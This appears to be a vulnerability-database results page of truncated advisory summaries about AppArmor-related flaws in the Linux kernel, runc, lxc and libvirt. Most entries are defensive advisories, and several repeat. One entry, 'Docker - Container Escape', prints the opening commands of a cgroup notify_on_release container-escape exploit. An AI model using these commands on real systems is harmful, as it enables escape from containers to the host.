CVE-2019-18814

CVE-2019-18814 affects the Linux kernel up to version 5.3.9. The vulnerability is a use-after-free in aa_label_parse() when it fails inside aa_audit_rule_init() in security/apparmor/audit.c. The issue can lead to memory corruption via use-after-free, with potential impact to confidentiality, inte...

CVE-2019-18814

An issue was discovered in the Linux kernel through 5.3.9. There is a use-after-free when aalabelparse fails in aaauditruleinit in security/apparmor/audit.c...

OPENSUSE-SU-2019:2286-1 Security update for lxc

This update for lxc fixes the following issues: Update to lxc 3.2.1. The changelog can be found at https://discuss.linuxcontainers.org/t/lxc-3-2-1-has-been-released/5322 + seccomp: support syscall forwarding to userspace + add lxc.seccomp.allownesting + pidfd: Add initial support for the new pidf...

Security update for lxc (moderate)

openSUSE Security Update: Security update for lxc Announcement ID: openSUSE-SU-2019:2286-1 Rating: moderate References: 1131762 Cross-References: CVE-2019-5736 Affected Products: openSUSE Backports SLE-15-SP1 An update that fixes one vulnerability is now available. Description: This update for lx...

openSUSE Security Update : lxc (openSUSE-2019-2245)

This update for lxc fixes the following issues : Update to lxc 3.2.1. The changelog can be found at https://discuss.linuxcontainers.org/t/lxc-3-2-1-has-been-released/5322 + seccomp: support syscall forwarding to userspace + add lxc.seccomp.allownesting + pidfd: Add initial support for the new pid...

Security update for lxc (moderate)

openSUSE Security Update: Security update for lxc Announcement ID: openSUSE-SU-2019:2245-1 Rating: moderate References: 1131762 Cross-References: CVE-2019-5736 Affected Products: openSUSE Leap 15.1 An update that fixes one vulnerability is now available. Description: This update for lxc fixes the...

Arbitrary File Read

github.com/opencontainers/runc is vulnerable to arbitrary file read. The vulnerability exists as the AppAmor restrictions can be bypassed due to incorrect mount targets check, allowing a malicious Docker image to be mounted over a /proc directory...

CVE-2019-16884

runc through 1.0.0-rc8, as used in Docker through 19.03.2-ce and other products, allows AppArmor restriction bypass because libcontainer/rootfslinux.go incorrectly checks mount targets, and thus a malicious Docker image can mount over a /proc directory...

CVE-2019-16884

runc through 1.0.0-rc8, as used in Docker through 19.03.2-ce and other products, allows AppArmor restriction bypass because libcontainer/rootfslinux.go incorrectly checks mount targets, and thus a malicious Docker image can mount over a /proc directory...

DEBIAN-CVE-2019-16884

runc through 1.0.0-rc8, as used in Docker through 19.03.2-ce and other products, allows AppArmor restriction bypass because libcontainer/rootfslinux.go incorrectly checks mount targets, and thus a malicious Docker image can mount over a /proc directory...

UBUNTU-CVE-2019-16884

runc through 1.0.0-rc8, as used in Docker through 19.03.2-ce and other products, allows AppArmor restriction bypass because libcontainer/rootfslinux.go incorrectly checks mount targets, and thus a malicious Docker image can mount over a /proc directory...

Design/Logic Flaw

runc through 1.0.0-rc8, as used in Docker through 19.03.2-ce and other products, allows AppArmor restriction bypass because libcontainer/rootfslinux.go incorrectly checks mount targets, and thus a malicious Docker image can mount over a /proc directory...

CVE-2019-16884

runc through 1.0.0-rc8, as used in Docker through 19.03.2-ce and other products, allows AppArmor restriction bypass because libcontainer/rootfslinux.go incorrectly checks mount targets, and thus a malicious Docker image can mount over a /proc directory...

CVE-2019-16884

runc through 1.0.0-rc8, as used in Docker through 19.03.2-ce and other products, allows AppArmor restriction bypass because libcontainer/rootfslinux.go incorrectly checks mount targets, and thus a malicious Docker image can mount over a /proc directory...

CVE-2019-16884

runc through 1.0.0-rc8, as used in Docker through 19.03.2-ce and other products, allows AppArmor restriction bypass because libcontainer/rootfslinux.go incorrectly checks mount targets, and thus a malicious Docker image can mount over a /proc directory...

CVE-2019-16884

Summary of CVE-2019-16884 (runc) : The vulnerability affects runc (as used in Docker and similar), where a flaw in libcontainer/rootfs_linux.go allows an AppArmor/SELinux restriction bypass by a malicious image that can mount over a container’s /proc directory. This arises from an incorrect check...

CVE-2019-16884

runc through 1.0.0-rc8, as used in Docker through 19.03.2-ce and other products, allows AppArmor restriction bypass because libcontainer/rootfslinux.go incorrectly checks mount targets, and thus a malicious Docker image can mount over a /proc directory...

Docker - Container Escape

Docker - Container Escape On the host docker run --rm -it --cap-add=SYSADMIN --security-opt apparmor=unconfined ubuntu bash In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 /tmp/cgrp/x/notifyonrelease hostpath=sed -n 's/.\perdir=^,./\1/p'...

Ubuntu 16.04 LTS / 18.04 LTS : libvirt vulnerabilities (USN-4047-1)

The remote Ubuntu 16.04 LTS / 18.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-4047-1 advisory. Matthias Gerstner and Jn Tomko discovered that libvirt incorrectly handled certain API calls. An attacker could possibly use this issue to...

USN-4047-1 libvirt vulnerabilities

Matthias Gerstner and Ján Tomko discovered that libvirt incorrectly handled certain API calls. An attacker could possibly use this issue to check for arbitrary files, or execute arbitrary binaries. In the default installation, attackers would be isolated by the libvirt AppArmor profile...